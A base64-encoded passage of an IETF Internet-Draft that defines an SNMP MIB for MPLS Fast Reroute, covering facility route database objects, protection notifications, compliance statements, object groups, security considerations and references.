ZWxzIHByb3RlY3RlZCBvbiB0aGlzIGludGVyZmFjZS4iDQogICAgOjo9IHsgbXBsc0ZyckZhY1Jv
dXRlREJFbnRyeSA4IH0NCg0KICAgIG1wbHNGcnJGYWNSb3V0ZURCUHJvdFR1blN0YXR1cyBPQkpF
Q1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgICAgICAgICBJTlRFR0VSIHsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGFjdGl2ZSgxKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIHJlYWR5KDIpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFydGlhbCgzKQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgIE1BWC1BQ0NFU1MgICAgICAgIHJl
YWQtb25seQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50DQogICAgICAgIERFU0NS
SVBUSU9ODQogICAgICAgICAgICAiU3BlY2lmaWVzIHRoZSBzdGF0ZSBvZiB0aGUgcHJvdGVjdGVk
IHR1bm5lbC4NCg0KICAgICAgICAgICAgIGFjdGl2ZSAgVGhpcyB0dW5uZWwncyBsYWJlbCBoYXMg
YmVlbiBwbGFjZWQgaW4gdGhlDQogICAgICAgICAgICAgICAgICAgICAgTEZJQiBhbmQgaXMgcmVh
ZHkgdG8gYmUgYXBwbGllZCB0byBpbmNvbWluZw0KICAgICAgICAgICAgICAgICAgICAgIHBhY2tl
dHMuDQoNCiAgICAgICAgICAgICByZWFkeSAtICBUaGlzIHR1bm5lbCdzIGxhYmVsIGVudHJ5IGhh
cyBiZWVuIGNyZWF0ZWQgYnV0IGlzDQogICAgICAgICAgICAgICAgICAgICAgbm90IHlldCBpbiB0
aGUgTEZJQi4NCg0KICAgICAgICAgICAgIHBhcnRpYWwgLSBUaGlzIHR1bm5lbCdzIGxhYmVsIGVu
dHJ5IGFzIG5vdCBiZWVuIGZ1bGx5DQogICAgICAgICAgICAgICAgICAgICAgIGNyZWF0ZWQuIg0K
ICAgIDo6PSB7IG1wbHNGcnJGYWNSb3V0ZURCRW50cnkgOSB9DQoNCiAgICBtcGxzRnJyRmFjUm91
dGVEQlByb3RUdW5SZXN2QncgIE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAg
IFVuc2lnbmVkMzINCiAgICAgICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC1vbmx5DQogICAgICAg
IFNUQVRVUyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAg
ICAgICJTcGVjaWZpZXMgdGhlIGFtb3VudCBvZiBiYW5kd2lkdGggaW4gbWVnYWJ5dGVzIHBlciBz
ZWNvbmQNCiAgICAgICAgICAgICB0aGF0IGlzIGFjdHVhbGx5IHJlc2VydmVkIGJ5IHRoZSBwcm90
ZWN0aW9uIHR1bm5lbCBmb3INCiAgICAgICAgICAgICBmYWNpbGl0eSBiYWNrdXAuIFRoaXMgdmFs
dWUgaXMgcmVwZWF0ZWQgaGVyZSBmcm9tIHRoZSBNUExTLQ0KICAgICAgICAgICAgIFRFIE1JQiBi
ZWNhdXNlIHRoZSB0dW5uZWwgZW50cnkgd2lsbCByZXZlYWwgdGhlIGJhbmR3aWR0aA0KICAgICAg
ICAgICAgIHJlc2VydmVkIGJ5IHRoZSBzaWduYWxpbmcgcHJvdG9jb2wsIHdoaWNoIGlzIHR5cGlj
YWxseSAwDQogICAgICAgICAgICAgZm9yIGJhY2t1cCB0dW5uZWxzIHNvIGFzIHRvIG5vdCBvdmVy
LWJvb2sgYmFuZHdpZHRoLg0KICAgICAgICAgICAgIEhvd2V2ZXIsIGludGVybmFsIHJlc2VydmF0
aW9ucyBhcmUgdHlwaWNhbGx5IG1hZGUgb24gdGhlDQogICAgICAgICAgICAgUExSLCB0aHVzIHRo
aXMgdmFsdWUgc2hvdWxkIGJlIHJldmVhbGVkIGhlcmUuIg0KICAgICA6Oj0geyBtcGxzRnJyRmFj
Um91dGVEQkVudHJ5IDEwIH0NCg0KICAgIC0tIE5vdGlmaWNhdGlvbnMNCg0KICAgIC0tIEVkIE5v
dGU6IEN1cnJlbnRseSB0aGVzZSBub3RpZmljYXRpb25zIG9ubHkgYXBwbHkgdG8NCiAgICAtLSAg
ICAgICAgICBGYWNpbGl0eS1iYXNlZCBGUlIuIERvIHdlIG5lZWQgdG8gZGVmaW5lDQogICAgLS0g
ICAgICAgICAgYWRkaXRpb25hbCBub3RpZmljYXRpb25zIGZvciBPbmUyT25lPw0KDQogICAgbXBs
c0ZyclByb3RlY3RlZCBOT1RJRklDQVRJT04tVFlQRQ0KICAgICAgICBPQkpFQ1RTIHsgbXBsc0Zy
ckZhY1JvdXRlREJOdW1Qcm90VHVuT25JZiwNCiAgICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNS
b3V0ZURCTnVtUHJvdFR1biwNCiAgICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZURCUHJv
dFR1blN0YXR1cywNCiAgICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZURCUHJvdFR1blJl
c3ZCdw0KICAgICAgICAgICAgICAgIH0NCiAgICBTVEFUVVMgICAgICBjdXJyZW50DQogICAgREVT
Q1JJUFRJT04NCiAgICAgICAgIlRoaXMgbm90aWZpY2F0aW9uIGlzIGdlbmVyYXRlZCB3aGVuIGEg
dHVubmVsIHJ1bm5pbmcgb3ZlciBhbg0KICAgICAgICAgaW50ZXJmYWNlIGFzIHNwZWNpZmllZCBp
biB0aGUgbXBsc0ZyckNvbnN0VGFibGUgaXMgaW5pdGlhbGx5DQogICAgICAgICBwcm90ZWN0ZWQg
YnkgdGhlIGJhY2t1cCB0dW5uZWwgYWxzbyBzcGVjaWZpZWQgaW4gdGhlDQogICAgICAgICBtcGxz
RnJyQ29uc3RUYWJsZS4gVGhpcyBub3RpZmljYXRpb24gc2hvdWxkIG5vdCBiZSBnZW5lcmF0ZWQN
CiAgICAgICAgIGZvciBlYWNoIHN1YnNlcXVlbnQgdHVubmVsIHRoYXQgaXMgYmFja2VkIHVwIGJ5
IHRoZSBGUlIgZmVhdHVyZQ0KICAgICAgICAgb24gdGhpcyBMU1IsIGFzIHRoaXMgbWF5IHJlc3Vs
dCBpbiBwb3RlbnRpYWwgc2NhbGluZyBpc3N1ZXMNCiAgICAgICAgIHdpdGggcmVnYXJkIHRvIExT
UiBwZXJmb3JtYW5jZSBhbmQgbmV0d29yayBsb2FkaW5nLiBOb3RlIGFsc28NCiAgICAgICAgIHRo
YXQgbm90aWZpY2F0aW9ucyBNVVNUIGJlIGdlbmVyYXRlZCBpbiBhY2NvcmRhbmNlIHdpdGggdGhl
DQogICAgICAgICBtcGxzRnJyTm90aWZNYXhSYXRlLiINCiAgICAgICAgOjo9IHsgbXBsc0Zyck5v
dGlmIDEgfQ0KDQogICAgbXBsc0ZyclVuUHJvdGVjdGVkIE5PVElGSUNBVElPTi1UWVBFDQogICAg
ICAgIE9CSkVDVFMgeyBtcGxzRnJyRmFjUm91dGVEQk51bVByb3RUdW5PbklmLA0KICAgICAgICAg
ICAgICAgICAgbXBsc0ZyckZhY1JvdXRlREJOdW1Qcm90VHVuLA0KICAgICAgICAgICAgICAgICAg
bXBsc0ZyckZhY1JvdXRlREJQcm90VHVuU3RhdHVzLA0KICAgICAgICAgICAgICAgICAgbXBsc0Zy
ckZhY1JvdXRlREJQcm90VHVuUmVzdkJ3DQogICAgICAgICAgICAgICAgfQ0KICAgIFNUQVRVUyAg
ICAgIGN1cnJlbnQNCiAgICBERVNDUklQVElPTg0KICAgICAgICAiVGhpcyBub3RpZmljYXRpb24g
aXMgZ2VuZXJhdGVkIHdoZW4gdGhlIGZpbmFsIHR1bm5lbCB0aGF0IGlzDQogICAgICAgICBiZWlu
ZyBwcm90ZWN0ZWQgYnkgYSBiYWNrdXAgdHVubmVsIGFzIHNwZWNpZmllZCBpbiB0aGUNCiAgICAg
ICAgIG1wbHNGcnJDb25zdFRhYmxlIGlzIHJlc3RvcmVkIHRvIG5vcm1hbCBvcGVyYXRpb24uIFRo
aXMNCiAgICAgICAgIG5vdGlmaWNhdGlvbiBzaG91bGQgbm90IGJlIGdlbmVyYXRlZCBmb3IgZWFj
aCByZXN0b3JlZCB0dW5uZWwsDQogICAgICAgICBhcyB0aGlzIG1heSByZXN1bHQgaW4gcG90ZW50
aWFsIHNjYWxpbmcgaXNzdWVzIHdpdGggcmVnYXJkIHRvDQogICAgICAgICBMU1IgcGVyZm9ybWFu
Y2UgYW5kIG5ldHdvcmsgbG9hZGluZy4gTm90ZSBhbHNvIHRoYXQNCiAgICAgICAgIG5vdGlmaWNh
dGlvbnMgTVVTVCBiZSBnZW5lcmF0ZWQgaW4gYWNjb3JkYW5jZSB3aXRoIHRoZQ0KICAgICAgICAg
bXBsc0Zyck5vdGlmTWF4UmF0ZS4iDQogICAgICAgIDo6PSB7IG1wbHNGcnJOb3RpZiAyIH0NCg0K
DQogICAgLS0gTW9kdWxlIENvbmZvcm1hbmNlIFN0YXRlbWVudA0KDQogICAgbXBsc0Zyckdyb3Vw
cw0KICAgICAgIE9CSkVDVCBJREVOVElGSUVSIDo6PSB7bXBsc0ZyckNvbmZvcm1hbmNlIDEgfQ0K
DQogICAgbXBsc0ZyckNvbXBsaWFuY2VzDQogICAgICAgT0JKRUNUIElERU5USUZJRVIgOjo9IHtt
cGxzRnJyQ29uZm9ybWFuY2UgMiB9DQoNCiAgICBtcGxzRnJyTW9kdWxlQ29tcGxpYW5jZSBNT0RV
TEUtQ09NUExJQU5DRQ0KICAgICAgIFNUQVRVUyBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04N
CiAgICAgICAgICJDb21wbGlhbmNlIHN0YXRlbWVudHMgZm9yIGFnZW50cyB0aGF0IHN1cHBvcnQg
dGhlIE1QTFMgRlJSDQogICAgICAgICBNSUIuIg0KICAgICAgIE1PRFVMRQ0KICAgICAgICAgICBN
QU5EQVRPUlktR1JPVVBTIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXBsc0ZyclNj
YWxhckdyb3VwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtcGxzRnJyQ29uc3RHcm91
cCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXBsc0ZyckxvZ0dyb3VwDQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgR1JPVVAgbXBsc0ZyclR1bkFSSG9wR3Jv
dXANCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAiT2JqZWN0cyB0aGF0IGFyZSByZXF1
aXJlZCB0byBwcmVzZW50IHBlciBob3ANCiAgICAgICAgICAgIGZhc3QtcmVyb3V0ZSBwcm90ZWN0
aW9uIHN0YXR1cy4iDQoNCiAgICAgICBHUk9VUCBtcGxzRnJyT25lMk9uZVBMUkRldG91ckdyb3Vw
DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgIlRoaXMgZ3JvdXAgaXMgbWFuZGF0b3J5
IGZvciBkZXZpY2VzIHdoaWNoIHN1cHBvcnQNCiAgICAgICAgICAgIHRoZSBvbmUtdG8tb25lIEZS
UiBtZWNoYW5pc20sIGFuZCBpcyBvcHRpb25hbCBmb3INCiAgICAgICAgICAgIHRob3NlIHdoaWNo
IGRvIG5vdC4iDQoNCiAgICAgICBHUk9VUCBtcGxzRnJyT25lMk9uZVBsckdyb3VwDQogICAgICAg
REVTQ1JJUFRJT04NCiAgICAgICAgICAgIlRoaXMgZ3JvdXAgaXMgbWFuZGF0b3J5IGZvciBkZXZp
Y2VzIHdoaWNoIHN1cHBvcnQNCiAgICAgICAgICAgIHRoZSBvbmUtdG8tb25lIEZSUiBtZWNoYW5p
c20sIGFuZCBpcyBvcHRpb25hbCBmb3INCiAgICAgICAgICAgIHRob3NlIHdoaWNoIGRvIG5vdC4i
DQoNCiAgICAgICBHUk9VUCBtcGxzRnJyRmFjUm91dGVEQkdyb3VwDQogICAgICAgREVTQ1JJUFRJ
T04NCiAgICAgICAgICAgIlRoaXMgZ3JvdXAgaXMgbWFuZGF0b3J5IGZvciBkZXZpY2VzIHdoaWNo
IHN1cHBvcnQNCiAgICAgICAgICAgIHRoZSBGYWNpbGl0eSBCYWNrdXAgRlJSIG1lY2hhbmlzbSwg
YW5kIGlzIG9wdGlvbmFsDQogICAgICAgICAgICBmb3IgdGhvc2Ugd2hpY2ggZG8gbm90LiINCg0K
ICAgICAgIEdST1VQIG1wbHNGcnJOb3RpZkdyb3VwDQogICAgICAgREVTQ1JJUFRJT04NCiAgICAg
ICAgICAgIlRoaXMgZ3JvdXAgaXMgbWFuZGF0b3J5IGZvciBkZXZpY2VzIHdoaWNoIHN1cHBvcnQN
CiAgICAgICAgICAgIHRoZSBGYWNpbGl0eSBCYWNrdXAgRlJSIG1lY2hhbmlzbSwgYW5kIGlzIG9w
dGlvbmFsDQogICAgICAgICAgICBmb3IgdGhvc2Ugd2hpY2ggZG8gbm90LiINCg0KICAgICAgIC0t
IG1wbHNGcnJDb25zdFRhYmxlDQoNCiAgICAgICBPQkpFQ1QgICAgICAgIG1wbHNGcnJDb25zdFBy
b3RlY3Rpb25NZXRob2QNCiAgICAgICBNSU4tQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIERF
U0NSSVBUSU9ODQogICAgICAgICAiV3JpdGUgYWNjZXNzIGlzIG5vdCByZXF1aXJlZC4iDQoNCiAg
ICAgICBPQkpFQ1QgICAgICAgIG1wbHNGcnJDb25zdFByb3RlY3Rpb25UeXBlDQogICAgICAgTUlO
LUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRl
IGFjY2VzcyBpcyBub3QgcmVxdWlyZWQuIg0KDQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJy
Q29uc3RTZXR1cFByaW8NCiAgICAgICBNSU4tQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIERF
U0NSSVBUSU9ODQogICAgICAgICAiV3JpdGUgYWNjZXNzIGlzIG5vdCByZXF1aXJlZC4iDQoNCiAg
ICAgICBPQkpFQ1QgICAgICAgIG1wbHNGcnJDb25zdEhvbGRpbmdQcmlvDQogICAgICAgTUlOLUFD
Q0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRlIGFj
Y2VzcyBpcyBub3QgcmVxdWlyZWQuIg0KDQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29u
c3RJbmNsQW55QWZmaW5pdHkNCiAgICAgICBNSU4tQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAg
IERFU0NSSVBUSU9ODQogICAgICAgICAiV3JpdGUgYWNjZXNzIGlzIG5vdCByZXF1aXJlZC4iDQoN
CiAgICAgICBPQkpFQ1QgICAgICAgIG1wbHNGcnJDb25zdEluY2xBbGxBZmZpbml0eQ0KICAgICAg
IE1JTi1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJX
cml0ZSBhY2Nlc3MgaXMgbm90IHJlcXVpcmVkLiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBs
c0ZyckNvbnN0RXhjbEFsbEFmZmluaXR5DQogICAgICAgTUlOLUFDQ0VTUyAgICByZWFkLW9ubHkN
CiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRlIGFjY2VzcyBpcyBub3QgcmVxdWly
ZWQuIg0KDQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29uc3RIb3BMaW1pdA0KICAgICAg
IE1JTi1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJX
cml0ZSBhY2Nlc3MgaXMgbm90IHJlcXVpcmVkLiINCg0KICAgICAgIE9CSkVDVCAgICAgICAgbXBs
c0ZyckNvbnN0QmFuZHdpZHRoDQogICAgICAgTUlOLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAg
ICBERVNDUklQVElPTg0KICAgICAgICAgIldyaXRlIGFjY2VzcyBpcyBub3QgcmVxdWlyZWQuIg0K
DQogICAgICAgT0JKRUNUICAgICAgICBtcGxzRnJyQ29uc3RSb3dTdGF0dXMNCiAgICAgICBNSU4t
QUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiV3JpdGUg
YWNjZXNzIGlzIG5vdCByZXF1aXJlZC4iDQoNCiAgICAgICA6Oj0geyBtcGxzRnJyQ29tcGxpYW5j
ZXMgMSB9DQoNCiAgICAtLSBVbml0cyBvZiBjb25mb3JtYW5jZQ0KDQogICAgbXBsc0ZyclNjYWxh
ckdyb3VwIE9CSkVDVC1HUk9VUA0KICAgICAgIE9CSkVDVFMgew0KICAgICAgICAgICAgICAgIG1w
bHNGcnJEZXRvdXJJbmNvbWluZywNCiAgICAgICAgICAgICAgICBtcGxzRnJyRGV0b3VyT3V0Z29p
bmcsDQogICAgICAgICAgICAgICAgbXBsc0ZyckRldG91ck9yaWdpbmF0aW5nLA0KICAgICAgICAg
ICAgICAgIG1wbHNGcnJTd2l0Y2hvdmVyLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJDb25mSWZz
LA0KICAgICAgICAgICAgICAgIG1wbHNGcnJBY3RQcm90ZWN0ZWRJZnMsDQogICAgICAgICAgICAg
ICAgbXBsc0ZyckNvbmZQcm90ZWN0ZWRUdW5zLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJBY3RQ
cm90ZWN0ZWRUdW5zLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJBY3RpdmVseVByb3RlY3RlZExT
UHMsDQogICAgICAgICAgICAgICAgbXBsc0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZCwNCiAgICAg
ICAgICAgICAgICBtcGxzRnJyTm90aWZzRW5hYmxlZCwNCiAgICAgICAgICAgICAgICBtcGxzRnJy
TG9nVGFibGVNYXhFbnRyaWVzLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJMb2dUYWJsZUN1cnJF
bnRyaWVzLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJOb3RpZk1heFJhdGUNCiAgICAgICAgICAg
ICAgIH0NCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0K
ICAgICAgICAgIk9iamVjdHMgdGhhdCBhcmUgcmVxdWlyZWQgdG8gZ2F0aGVyIGZhc3QgcmVyb3V0
ZSBzdGF0aXN0aWNzLiINCiAgICAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDEgfQ0KDQogICAgbXBs
c0ZyckNvbnN0R3JvdXAgT0JKRUNULUdST1VQDQogICAgICAgT0JKRUNUUyB7DQogICAgICAgICAg
bXBsc0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZCwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RQcm90
ZWN0aW9uVHlwZSwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RTZXR1cFByaW8sDQogICAgICAgICAg
bXBsc0ZyckNvbnN0SG9sZGluZ1ByaW8sDQogICAgICAgICAgbXBsc0ZyckNvbnN0SW5jbEFueUFm
ZmluaXR5LA0KICAgICAgICAgIG1wbHNGcnJDb25zdEluY2xBbGxBZmZpbml0eSwNCiAgICAgICAg
ICBtcGxzRnJyQ29uc3RFeGNsQWxsQWZmaW5pdHksDQogICAgICAgICAgbXBsc0ZyckNvbnN0SG9w
TGltaXQsDQogICAgICAgICAgbXBsc0ZyckNvbnN0QmFuZHdpZHRoLA0KICAgICAgICAgIG1wbHNG
cnJDb25zdFJvd1N0YXR1cw0KICAgICAgIH0NCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQN
CiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIk9iamVjdHMgdGhhdCBhcmUgcmVxdWlyZWQg
dG8gY29uZmlndXJlIGZhc3QgcmVyb3V0ZSBjb25zdHJhaW50cw0KICAgICAgICAgYXQgdGhlIGlu
Z3Jlc3MgTFNSIG9mIHRoZSB0dW5uZWwgdGhhdCByZXF1aXJlcyBmYXN0IHJlcm91dGUNCiAgICAg
ICAgIHNlcnZpY2UuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJHcm91cHMgMiB9DQoNCiAgICBtcGxz
RnJyVHVuQVJIb3BHcm91cCAgICAgICAgIE9CSkVDVC1HUk9VUA0KICAgICBPQkpFQ1RTIHsNCiAg
ICAgICAgICAgICAgbXBsc0ZyclR1bkFSSG9wUHJvdGVjdEF2YWlsYWJsZSwNCiAgICAgICAgICAg
ICAgbXBsc0ZyclR1bkFSSG9wUHJvdGVjdEluVXNlDQogICAgICAgICAgICAgfQ0KICAgICBTVEFU
VVMgICAgICAgIGN1cnJlbnQNCiAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJPYmplY3RzIHRo
YXQgYXJlIHJlcXVpcmVkIHRvIHByZXNlbnQgcGVyIGhvcCBmYXN0LXJlcm91dGUNCiAgICAgICAg
ICBwcm90ZWN0aW9uIHN0YXR1cy4iDQogICAgOjo9IHsgbXBsc0Zyckdyb3VwcyAzfQ0KDQogICAg
bXBsc0Zyck9uZTJPbmVQTFJEZXRvdXJHcm91cCBPQkpFQ1QtR1JPVVANCiAgICAgT0JKRUNUUyB7
DQogICAgICAgICAgICAgIG1wbHNGcnJEZXRvdXJBY3RpdmUsDQogICAgICAgICAgICAgIG1wbHNG
cnJEZXRvdXJNZXJnaW5nLA0KICAgICAgICAgICAgICBtcGxzRnJyRGV0b3VyTWVyZ2VkRGV0b3Vy
SW5zdA0KICAgICAgICAgICAgIH0NCiAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgIERF
U0NSSVBUSU9ODQogICAgICAgICAiT2JqZWN0cyB0aGF0IGFyZSByZXF1aXJlZCB0byBwcmVzZW50
IHRoZSBkZXRvdXIgTFNQIGluZm9ybWF0aW9uDQogICAgICAgICBhdCB0aGUgZGV0b3VyIGluZ3Jl
c3MsIHRyYW5zaXQgYW5kIGVncmVzcyBMU1JzLiINCiAgICAgOjo9IHsgbXBsc0Zyckdyb3VwcyA0
IH0NCg0KICAgIG1wbHNGcnJMb2dHcm91cCBPQkpFQ1QtR1JPVVANCiAgICBPQkpFQ1RTIHsgbXBs
c0ZyckxvZ0V2ZW50VGltZSwNCiAgICAgICAgICAgICAgbXBsc0ZyckxvZ0ludGVyZmFjZSwNCiAg
ICAgICAgICAgICAgbXBsc0ZyckxvZ0V2ZW50VHlwZSwNCiAgICAgICAgICAgICAgbXBsc0Zyckxv
Z0V2ZW50RHVyYXRpb24sDQogICAgICAgICAgICAgIG1wbHNGcnJMb2dFdmVudFJlYXNvblN0cmlu
Zw0KICAgICAgICAgICAgfQ0KICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgIERFU0NSSVBU
SU9ODQogICAgICAgIk9iamVjdHMgdGhhdCBhcmUgcmVxdWlyZWQgdG8gcmVwcmVzZW50IEZSUiBs
b2dnaW5nIGluZm9ybWF0aW9uDQogICAgICAgYXQgdGhlIGRldG91ciBpbmdyZXNzLCB0cmFuc2l0
IGFuZCBlZ3Jlc3MgTFNScy4iDQogICAgOjo9IHsgbXBsc0Zyckdyb3VwcyA1IH0NCg0KICAgIG1w
bHNGcnJPbmUyT25lUGxyR3JvdXAgT0JKRUNULUdST1VQDQogICAgICBPQkpFQ1RTIHsNCiAgICAg
ICAgICBtcGxzRnJyT25lMk9uZVBsclNlbmRlckFkZHJUeXBlLA0KICAgICAgICAgIG1wbHNGcnJP
bmUyT25lUGxyU2VuZGVyQWRkciwNCiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsckF2b2lkTkFk
ZHJUeXBlLA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxyQXZvaWROQWRkcg0KICAgICAgICAg
fQ0KICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgIERFU0NSSVBUSU9ODQogICAgICAgIk9i
amVjdHMgdGhhdCBhcmUgcmVxdWlyZWQgdG8gcmVwcmVzZW50IHRoZSBGUlINCiAgICAgICAgT25l
LTItT25lIFBMUiBpbmZvcm1hdGlvbi4iDQogICAgOjo9IHsgbXBsc0Zyckdyb3VwcyA2IH0NCg0K
ICAgIG1wbHNGcnJGYWNSb3V0ZURCR3JvdXAgT0JKRUNULUdST1VQDQogICAgICBPQkpFQ1RTIHsg
bXBsc0ZyckZhY1JvdXRlREJOdW1Qcm90VHVuT25JZiwNCiAgICAgICAgICAgICAgICBtcGxzRnJy
RmFjUm91dGVEQk51bVByb3RUdW4sDQogICAgICAgICAgICAgICAgbXBsc0ZyckZhY1JvdXRlREJQ
cm90VHVuU3RhdHVzLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZURCUHJvdFR1blJl
c3ZCdw0KICAgICAgICB9DQogICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgREVTQ1JJUFRJ
T04NCiAgICAgICAiT2JqZWN0cyB0aGF0IGFyZSByZXF1aXJlZCB0byByZXByZXNlbnQgdGhlIEZS
Ug0KICAgICAgICBGYWNpbGl0eSBSb3V0ZSBEYXRhYmFzZSBpbmZvcm1hdGlvbi4iDQogICAgOjo9
IHsgbXBsc0Zyckdyb3VwcyA3IH0NCg0KICAgIG1wbHNGcnJOb3RpZkdyb3VwIE5PVElGSUNBVElP
Ti1HUk9VUA0KICAgIE5PVElGSUNBVElPTlMgew0KICAgICAgICAgICAgICAgICAgICBtcGxzRnJy
UHJvdGVjdGVkLA0KICAgICAgICAgICAgICAgICAgICBtcGxzRnJyVW5Qcm90ZWN0ZWQNCiAgICAg
ICAgICAgICAgICAgIH0NCiAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICBERVNDUklQVElP
Tg0KICAgICAgICAgIk9iamVjdHMgdGhhdCBhcmUgcmVxdWlyZWQgdG8gcmVwcmVzZW50IEZSUiBu
b3RpZmljYXRpb25zLiINCiAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDggfQ0KDQogICAgRU5EDQoN
Cg0KNy4gU2VjdXJpdHkgQ29uc2lkZXJhdGlvbnMNCg0KICAgIFRoaXMgTUlCIGRvZXMgbm90IHBv
c2UgYW55IGFkZGl0aW9uYWwgc2VjdXJpdHkgaXNzdWVzIGNvbXBhcmVkIHdpdGgNCiAgICBbM10g
YW5kIFs0XS4NCg0KOC4gUmVmZXJlbmNlcw0KDQogICAgWzFdQnJhZG5lciwgUy4sICJUaGUgSW50
ZXJuZXQgU3RhbmRhcmRzIFByb2Nlc3MgLS0gUmV2aXNpb24gMyIsIEJDUA0KICAgICAgIDksIFJG
QyAyMDI2LCBPY3RvYmVyIDE5OTYuDQoNCiAgICBbMl1CcmFkbmVyLCBTLiwgIktleSB3b3JkcyBm
b3IgdXNlIGluIFJGQ3MgdG8gSW5kaWNhdGUgUmVxdWlyZW1lbnQNCiAgICAgICBMZXZlbHMiLCBC
Q1AgMTQsIFJGQyAyMTE5LCBNYXJjaCAxOTk3Lg0KDQogICAgWzNdU3Jpbml2YXNhbiwgQy4sIFZp
c3dhbmF0aGFuLCBBLiBhbmQgVC4gTmFkZWF1LCAiTXVsdGlwcm90b2NvbA0KICAgICAgIExhYmVs
IFN3aXRjaGluZyAoTVBMUykgVHJhZmZpYyBFbmdpbmVlcmluZyBNYW5hZ2VtZW50IEluZm9ybWF0
aW9uDQogICAgICAgQmFzZSIsIEludGVybmV0IERyYWZ0IDxkcmFmdC1pZXRmLW1wbHMtdGUtbWli
LTA4LnR4dCwgSmFudWFyeQ0KICAgICAgIDIwMDIuIFdvcmsgaW4gcHJvZ3Jlc3MuDQoNCiAgICBb
NF1TcmluaXZhc2FuLCBDLiwgVmlzd2FuYXRoYW4sIEEuIGFuZCBULiBOYWRlYXUsICJNUExTIExh
YmVsIFN3aXRjaA0KICAgICAgIFJvdXRlciBNYW5hZ2VtZW50IEluZm9ybWF0aW9uIEJhc2UgIiwg
SW50ZXJuZXQgRHJhZnQgPGRyYWZ0LWlldGYtDQogICAgICAgbXBscy1sc3ItbWliLTA4LnR4dCwg
SmFudWFyeSAyMDAyLiBXb3JrIGluIHByb2dyZXNzLg0KDQogICAgWzVdUGFuLCBQLiwgR2FuLCBE
LiwgU3dhbGxvdywgRy4sIFZhc3NldXIsIEouUGguLCBDb29wZXIsIEQuLCBBdGxhcywNCiAgICAg
ICBBLiwgSm9yaywgTS4sIEZhc3QgUmVyb3V0ZSBUZWNobmlxdWVzIGluIFJTVlAtVEUsIGRyYWZ0
LWlldGYtbXBscy0NCiAgICAgICByc3ZwLWxzcC1mYXN0cmVyb3V0ZS0wMC50eHQsIEphbnVhcnkg
MjAwMi4gV29yayBpbiBwcm9ncmVzcy4NCg0KOS4gQWNrbm93bGVkZ21lbnRzDQoNCiAgICBXZSB3
b3VsZCBsaWtlIHRvIHRoYW5rIEFsaWEgQXRsYXMsIFllb25nIFRhaSBhbmQgV2FsdGVyIFZhbmhp
bWJlZWNrLA0KICAgIE1pa2UgUGllY3VjaCBhbmQgQWRyaWVuIEdyaXNlIGZvciB0aGUgaGVscGZ1
bCBkaXNjdXNzaW9ucyBhbmQNCiAgICBjb250cmlidXRpb25zIHRvIHRoaXMgZG9jdW1lbnQuDQoN
CjEwLiBJbnRlbGxlY3R1YWwgUHJvcGVydHkgQ29uc2lkZXJhdGlvbnMNCg0KICAgIFRoZSBJRVRG
